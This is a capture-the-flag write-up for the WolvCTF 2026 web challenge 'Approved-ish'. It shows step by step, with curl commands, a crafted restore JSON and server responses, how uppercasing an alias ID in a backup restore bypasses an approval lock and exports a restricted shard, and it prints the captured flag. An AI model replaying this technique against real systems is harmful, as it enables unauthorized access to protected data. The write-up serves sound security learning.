Approved-ish

WolvCTF 2026WebMediumBy easonpxzWriteup by @xabito

Our research data desk finally has a real release process.

Build a manifest from your aliases, submit it for review, and only an approved manifest can be exported by the snapshot builder. The curator evaluation set is strictly off-limits to members, and the reviewer checks every manifest before signing off.

The builder only ever ships what was approved. Right?

The attachment contains the client interface. The server is available at the URL below.

Connections

  • https://approved-ish-web.wolvctf-2026.kctf.cloud/

Attachments

Recon

Approved-ish implements a dataset release desk. Aliases point to shards, manifests group aliases, and only an approved manifest can be exported as a snapshot. The catalog exposes two sample shards to members but marks restricted-v1 as curator-only.

The release desk and shard catalog

We first try reading that shard directly and receive a 403:

GET /api/shards/restricted-v1 HTTP/1.1
Host: approved-ish-web.wolvctf-2026.kctf.cloud

HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error":"forbidden","message":"You cannot read this shard."}

The supplied client also reveals alias backup and restore APIs. Its hint that legacy backups may use different casing for alias IDs matters because approval locks aliases, while the snapshot builder resolves their targets at export time. We check whether a target can change after approval, which would make the builder ship something the reviewer never approved.

Post-approval restore

We begin with the legitimate workflow: create an alias for sample-v1, place it in a manifest, and approve that manifest. The IDs below are the ones returned in our session.

$ B=https://approved-ish-web.wolvctf-2026.kctf.cloud
$ curl -s -b cookies.txt -X POST $B/api/aliases \
    -H 'Content-Type: application/json' -d '{"target_shard_id":"sample-v1"}'
{"id":"c3a48cbbc8c44771a279d2bedf767fb2",...}
$ curl -s -b cookies.txt -X POST $B/api/manifests \
    -H 'Content-Type: application/json' \
    -d '{"alias_ids":["c3a48cbbc8c44771a279d2bedf767fb2"]}'
{"id":"59d009ac348c4788b11ea10d9003fabc","version":1,...}
$ curl -s -b cookies.txt -X POST $B/api/manifests/59d009ac348c4788b11ea10d9003fabc/approve \
    -H 'Content-Type: application/json' -d '{}'
{"digest":"a03a52cbf9d0fd0615fee780c0f87e77343bc0401c1a0b799271730c2a0be765","manifest_id":"59d009ac348c4788b11ea10d9003fabc","version":1}

Approval locks the alias. We try the ordinary edit route and it enforces that lock:

$ curl -s -b cookies.txt -X PATCH \
    $B/api/aliases/c3a48cbbc8c44771a279d2bedf767fb2 \
    -H 'Content-Type: application/json' -d '{"target_shard_id":"restricted-v1"}'
{"error":"conflict","message":"This alias is locked by an approved manifest."}

Restore is a second write path. We take the backup, uppercase the alias ID, and change its target while preserving the supplied format and workspace ID:

{"aliases":[{"id":"C3A48CBBC8C44771A279D2BEDF767FB2","target_shard_id":"restricted-v1"}],"format":"approved-ish.aliases.v1","workspace_id":"10cddb94f76d497cb8f225b975a5e4db"}
$ curl -s -b cookies.txt -X POST $B/api/aliases/restore \
    -H 'Content-Type: application/json' -d @rest_up.json
{"restored":1}

The exact-case lock check misses the uppercase spelling, but restore’s alias lookup resolves it to the original lowercase record. The result is an alias that is still locked: true yet points to restricted-v1: a post-approval TOCTOU created by inconsistent case handling.

Flag capture

The approved manifest has not changed, so its approval remains valid. Snapshot construction now follows the mutated alias and includes the restricted shard under cover of the old approval.

$ curl -s -b cookies.txt -X POST \
    $B/api/manifests/59d009ac348c4788b11ea10d9003fabc/snapshot
{"manifest_id":"59d009ac348c4788b11ea10d9003fabc","version":1,"shards":[{"alias_id":"c3a48cbbc8c44771a279d2bedf767fb2","shard_id":"restricted-v1","content":"wctf{b067644b2447025b739c58132106bbaf}"}]}